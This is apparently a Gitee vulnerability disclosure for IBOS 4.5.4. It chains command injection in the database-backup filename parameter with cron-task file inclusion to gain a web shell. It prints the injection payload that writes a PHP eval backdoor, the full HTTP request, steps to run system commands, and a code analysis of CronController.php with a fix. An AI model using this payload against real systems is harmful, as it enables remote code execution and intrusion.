Arbitrary file inclusion causes getshell

## Test environment
os : windows;
IBOS version : IBOS 4.5.4 OPEN

## Vulnerability Test

### Step-1(Use Command Injection Vulnerability)

use this vulnerability ```https://gitee.com/ibos/IBOS/issues/I18IIV``` to write a file on the specified directory.

first,login in to IBOS system and enter the management background.The operation is as follows like this.

![test-4](https://images.gitee.com/uploads/images/2020/0117/194257_6c0dfe45_1763950.png "屏幕截图.png")

Use burpsuite to grab packets and send them to "Repeater" for modification.Insert payload in parameter filename value.

![test-5](https://images.gitee.com/uploads/images/2020/0117/194431_31071ffb_1763950.png "屏幕截图.png")

#### Payload

the payload is like this.This payload will generate a file named "zzzzzz" in ```/system/modules/recruit/cron```.

```
%26cd%20system%26cd%20modules%26cd%20recruit%26cd%20cron%26echo+eval($_GET["test"]);>>zzzzz%26aaa

```

#### Packet Data

and the packet is like this.

```
POST /?r=dashboard/database/backup HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/?r=dashboard/database/backup
Content-Type: application/x-www-form-urlencoded
Content-Length: 316
Connection: close
Cookie: P8Jm_saltkey=vpb6gmPE; PHPSESSID=3mcqdm2dr10tf3lb4cgpnl6ah5; P8Jm_sid=KmI412; P8Jm_autologin=1; P8Jm_lastactivity=1579248371; P8Jm_ulastactivity=480fKnWDRYWQhA5jDvpydR3bYm23jT9YOEmv%2FidCRP372M6FAptj
Upgrade-Insecure-Requests: 1

backuptype=custom&customtables%5B%5D=test_announcement&custom_enabled=1&method=shell&sizelimit=2048&extendins=0&sqlcompat=MYSQL41&sqlcharset=utf8&usehex=0&usezip=0&filename=2020-01-17_kRHRRgOk%26cd%20system%26cd%20modules%26cd%20recruit%26cd%20cron%26echo+eval($_GET["test"]);>>zzzzz%26aaa&dbSubmit=1
```

### step-2(Modifying a scheduled task file)

enter scheduled task like this,and modify it.The file name was generate in "step-1",such as "zzzzzz".

![test-6](https://images.gitee.com/uploads/images/2020/0117/195402_49803905_1763950.png "屏幕截图.png")

in this function,modify the "Task script" like this and submit it.

![test-7](https://images.gitee.com/uploads/images/2020/0117/195537_ea2ee485_1763950.png "屏幕截图.png")

### step-3(Run Script)

Then you can run this script like this.

![test-7](https://images.gitee.com/uploads/images/2020/0117/195738_b077abc6_1763950.png "屏幕截图.png")

and use burpsuite function "Repeater" and add the parameter "test" like this,such as "phpinfo()".

![test-8](https://images.gitee.com/uploads/images/2020/0117/195925_00497746_1763950.png "屏幕截图.png")

run system command is like this,such as "ipconfig".

![test-9](https://images.gitee.com/uploads/images/2020/0117/195959_320a6aed_1763950.png "屏幕截图.png")

## Code analysis

The problematic vulnerability is the file ```/system/modules/dashboard/controllers/CronController.php``` and the the function in question is ```actionIndex()``` in line 16.

![test-1](https://images.gitee.com/uploads/images/2020/0117/192928_c5331b0b_1763950.png "屏幕截图.png")

look at line 40 ```getRealCronFile()``` function will form a complete file path.and the line 41 to line 47,this is the string used to filter filename that modify scheduled tasks.

![test-2](https://images.gitee.com/uploads/images/2020/0117/193244_372e8f42_1763950.png "屏幕截图.png")

```getRealCronFile()``` function code.

![test-3](https://images.gitee.com/uploads/images/2020/0117/193534_6766b82e_1763950.png "屏幕截图.png")

In the above code, the save path and file name of the file are guaranteed, but the suffix of the file is not guaranteed, so you can write to arbitrary files to include getshell through other vulnerabilities.

## Solution

Should contain a specific type of file in a specified directory, or a specified file.

IBOS开源OA协同办公管理/IBOS

内容风险标识

评论 (5)

IBOS开源OA协同办公管理/IBOS .gitee-modal { width: 500px !important; }

内容风险标识